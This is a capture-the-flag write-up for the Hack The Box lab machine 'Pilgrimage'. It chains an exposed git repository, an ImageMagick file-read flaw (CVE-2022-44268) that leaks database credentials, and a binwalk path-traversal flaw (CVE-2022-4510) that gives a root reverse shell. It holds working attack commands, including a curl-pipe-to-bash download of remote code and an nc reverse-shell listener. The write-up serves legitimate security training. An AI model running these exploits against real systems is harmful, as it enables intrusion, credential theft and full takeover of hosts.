Pilgrimage

Box info

Enumeration

Nmap

Let's run port scanning using Nmap:

szczygielka@hacks$ nmap -sCV 10.129.148.150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-25 13:26 EST
Nmap scan report for 10.129.148.150
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds

Nmap indicates that port 22 with the SSH service is open, and that port 80 with the Nginx HTTP server is open. The HTTP response shows redirection to the domain http://pilgrimage.htb/. Let's add the following line to the file /etc/hosts:

10.129.148.150  pilgrimage.htb

Exploring website

The information on the website indicates that this webpage allows you to shrink uploaded images. Additionally, it also allows you to register to log in. Before we create an account, let's test the file upload option

After uploading the image file and clicking the Shrink button, we receive a link where we can get the shrunken image:

After creating an account and logging in, we only get a dashboard with information about the files we have uploaded and shrunken:

Directory Brute Force

Let's use the Gobuster to enumerate hidden directories and files:

szczygielka@hacks$ gobuster dir -u http://pilgrimage.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://pilgrimage.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 153]
/.htaccess            (Status: 403) [Size: 153]
/.git/HEAD            (Status: 200) [Size: 23]
/.htpasswd            (Status: 403) [Size: 153]
/assets               (Status: 301) [Size: 169] [--> http://pilgrimage.htb/assets/]
/index.php            (Status: 200) [Size: 7621]
/tmp                  (Status: 301) [Size: 169] [--> http://pilgrimage.htb/tmp/]
/vendor               (Status: 301) [Size: 169] [--> http://pilgrimage.htb/vendor/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

The information returned by the Gobuster shows that there is a .git directory in which the HEAD file is located. The ability to access the contents of the HEAD file indicates that we probably have access to the entire git repository. Additionally, a status code 200 for the query regarding /index.php proves that this website uses PHP.

Let's try to clone the git repository to our attack machine:

szczygielka@hacks$ git clone 10.129.148.150:80/.git
Cloning into '10.129.148.150'...
szczygielka@10.129.148.150's password:

An attempt to download the repository fails because we are asked for a password that we do not know. Let's look for another option that would allow us to dump the contents of the repository. Internet search results indicate that the git-dumper tool may enable us to do this:

Let's install the contents of git-dumper repository:

szczygielka@hacks$ sudo -H pip install git-dumper

Let's execute the following command to download the contents of the repository to a catalog called pilgrimage:

szczygielka@hacks$ git-dumper http://pilgrimage.htb/.git ./pilgrimage
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://pilgrimage.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://pilgrimage.htb/.gitignore [404]
[-] http://pilgrimage.htb/.gitignore responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/description [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-receive.sample [404]
[-] Fetching http://pilgrimage.htb/.git/hooks/commit-msg.sample [200]
[-] http://pilgrimage.htb/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/hooks/post-commit.sample [404]
[-] http://pilgrimage.htb/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching http://pilgrimage.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://pilgrimage.htb/.git/hooks/update.sample [200]
<SNIP>

The contents of the repository show that it mainly contains source codes in PHP and assets:

szczygielka@hacks$ ls -l
total 26960
drwxr-xr-x 6 szczygielka szczygielka     4096 Feb 25 17:17 assets
-rwxr-xr-x 1 szczygielka szczygielka     5538 Feb 25 17:17 dashboard.php
-rwxr-xr-x 1 szczygielka szczygielka     9250 Feb 25 17:17 index.php
-rwxr-xr-x 1 szczygielka szczygielka     6822 Feb 25 17:17 login.php
-rwxr-xr-x 1 szczygielka szczygielka       98 Feb 25 17:17 logout.php
-rwxr-xr-x 1 szczygielka szczygielka 27555008 Feb 25 17:17 magick
-rwxr-xr-x 1 szczygielka szczygielka     6836 Feb 25 17:17 register.php
drwxr-xr-x 4 szczygielka szczygielka     4096 Feb 25 17:17 vendor

There is also a binary in this repository called magick. We can check its version using the following command:

szczygielka@hacks$ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

From the information available on GitHub we know that ImageMagick is a free open-source software for displaying, converting, and editing (including shrinking) raster image and vector image files. The content of the source code in the index.php file shows that this software is used to shrink the image:

This code snippet also shows that an SQLite database is used and is created from the /var/db/pilgrimage file. Due to the fact we have the version of the ImageMagick software used, let's check if there are any vulnerabilities in this software.

CVE-2022-44268

Vulnerability search results for ImageMagick 7.1.0-49 indicate a vulnerability classified as CVE-2022-44268, which leads to an arbitrary file read. From the article describing this vulnerability, available here, we learn that:

A malicious actor could craft a PNG or use an existing one and add a textual chunk type (e.g., tEXt). These types have a keyword and a text string. If the keyword is the string “profile” (without quotes) then ImageMagick will interpret the text string as a filename and will load the content as a raw profile, then the attacker can download the resized image which will come with the content of a remote file.

The cited article also indicated that the possibility of embedding an arbitrary file in a PNG file depends on whether binary magick has the right to read it.

Exploitation

Since we know the location of the file storing the database (/var/db/pilgrimage), we would like to download its contents. This exploit should allow us to prepare a malicious PNG file, which should allow us to get file content:

Let's download the generate.py script from the repository. We can generate a malicious.png image via the following command:

szczygielka@hacks$ python3 generate.py -f "/var/db/pilgrimage" -o malicious.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /var/db/pilgrimage
   [>] PoC PNG generated > malicious.png

In the created image we can see that a payload has been added, which can allow us to read the file from the target:

Now let's upload the malicious.png file to the website, then go to the preview of the shrunken image and download it. Let's save the shrunken image as malicious-shrunken.png. The magick documentation shows that the identify program describes the format and characteristics of the image file and using the -verbose option gives more information about the file.

We will use them to obtain detailed information about the downloaded image and save it to a file malicious_data.txt:

szczygielka@hacks$ ./magick identify -verbose malicious-shrunken.png > malicious_data.txt

According to the information contained in the repository, if the database file was read, its content should be in the Raw profile type field. The content of this field in the malicious_data.txt file is not empty:

Now let's try to read it. However, let's first remove the remaining fields storing information about the file, leaving only the contents of the Raw profile type field. The beginning of the malicious_data.txt file should look as follows:

The data in the file is in hexadecimal malicious_data.txt format. So let's prepare a short script in Python that will remove the newline in the file, convert the hexadecimal format into binary, and save data in this format to the database file. The content of the prepared hex_to_binary.py script in Python is as follows:

hex_data_file = open("malicious_data.txt")
hex_data = hex_data_file.read()
hex_data = hex_data.strip()
hex_data_file.close()

binary_data = bytes.fromhex(hex_data)

database_file = open("database.sqlite", "bw")
database_file.write(binary_data)
database_file.close()

Then let's execute the prepared script to obtain the pilgrimage.sqlite file containing the database. The file command recognizes the pilgrimage.sqlite file as a SQLite 3.x database:

szczygielka@hacks$ file pilgrimage.sqlite 
pilgrimage.sqlite: SQLite 3.x database, last written using SQLite version 3034001, file counter 84, database pages 5, cookie 0x4, schema 4, UTF-8, version-valid-for 84

We will then open the database using DB Browser for SQLite. In the users table we find credentials for user the user emily:

Let's try to log in using these credentials via SSH:

szczygielka@hacks$ ssh emily@10.129.148.150
emily@10.129.148.150's password: 
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 27 03:18:37 2024 from 10.129.148.150

We have successfully logged in as a user emily.

User flag

The user flag can be obtained from /home/emily/user.txt.

Privilege escalation

We will use LinPEAS to find possible permission escalation paths:

In the repository, on the Releases page, you will find the linpeas.sh file. Let's download it to the attacking machine and then start the Python HTTP server on the selected port:

szczygielka@hacks$ python3 -m http.server 443
Serving HTTP on 0.0.0.0 port 443 (http://0.0.0.0:443/) ...

Then, on the target machine use curl to download the contents of the file and execute it using the bash shell:

emily@pilgrimage:~$ curl 10.10.14.73:443/linpeas.sh | bash

The results returned by LinPEAS contain information about the existence of a nonstandard malwarescan.sh script:

This script is running as root:

Let's analyze the content of this script:

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh 
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

This script uses inotifywait to check for changes to files in the /var/www/pilgrimage.htb/shrunk/ directory. If a new file is created in this directory, its name is extracted using tail and sed. Then, information about the file is extracted using binwalk. If this information contains Executable script or Microsoft executable strings, this file is removed. Let's check the version of binwalk used on this machine:

emily@pilgrimage:~$ binwalk -h

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
<SNIP>

Let's check if the returned binwalk version has any vulnerabilities.

CVE-2022-4510

The version of Binwalk on our target appears to be vulnerable to CVE-2022-4510. Path traversal vulnerability exists in Binwalk 2.1.2b to 2.3.3 version. Exploitation of this vulnerability may lead to remote code execution. This vulnerability can be exploited if binwalk uses the -e option, i.e. extraction mode.

Exploitation

Due to the fact the malwarescan.sh script runs as root and binwalk with option -e is run in this script, when passing a malicious file to binwalk containing a payload enabling code execution, the code contained in this file should also be executed with root rights. An Internet search for how to exploit the CVE-2022-4510 vulnerability leads us to the following repository:

The code in this repository should allow us to generate a PNG image containing the reverse shell code. After uploading the malicious image to the /var/www/pilgrimage.htb/shrunk/ directory, this file should be checked by the malwarescan.sh script, that is by binwalk. Executing the binwalk with the malicious image should allow us to get a reverse shell as root.

Clone the contents of the repository:

szczygielka@hacks$ git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath.git
Cloning into 'CVE-2022-4510-WalkingPath'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 12 (delta 3), reused 7 (delta 2), pack-reused 0
Receiving objects: 100% (12/12), 7.28 KiB | 7.28 MiB/s, done.
Resolving deltas: 100% (3/3), done.

Let's go to the directory containing the repository. To use the exploit, let's prepare an example PNG file, in our case it will be penguin.png. Then run the walkingpath.py script providing the reverse option, the prepared PNG image, the IP address of the attacking machine, and the port number on which we will listen:

szczygielka@hacks$ python3 walkingpath.py reverse penguin.png 10.10.14.73 443

After executing the script, a file binwalk_exploit.png should appear in this directory, containing a malicious payload that allows you to obtain a reverse shell. A payload to enable reverse shell has been added at the end of the image:

Let's run the listener on the port set in the malicious PNG file:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...

Let's prepare the Python HTTP server for download binwalk_exploit.png from the attacking machine:

szczygielka@hacks$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Then let's download the file to the target machine:

emily@pilgrimage:/var/www/pilgrimage.htb/shrunk$ wget 10.10.14.73:8080/binwalk_exploit.png
--2024-02-27 06:34:47--  http://10.10.14.73:8080/binwalk_exploit.png
Connecting to 10.10.14.73:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 42135 (41K) [image/png]
Saving to: ‘binwalk_exploit.png’

binwalk_exploit.png                                        100%[========================================================================================================================================>]  41.15K  --.-KB/s    in 0.07s   

2024-02-27 06:34:47 (557 KB/s) - ‘binwalk_exploit.png’ saved [42135/42135]

In the listener, we get a reverse shell:

szczygielka@hacks$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.176.117] 38366

Let's upgrade our reverse shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

We got a reverse shell as root:

root@pilgrimage:~/quarantine# whoami
root

Root flag

The previous steps lead us to the root user. The root flag can be obtained at /root/root.txt.

Last updated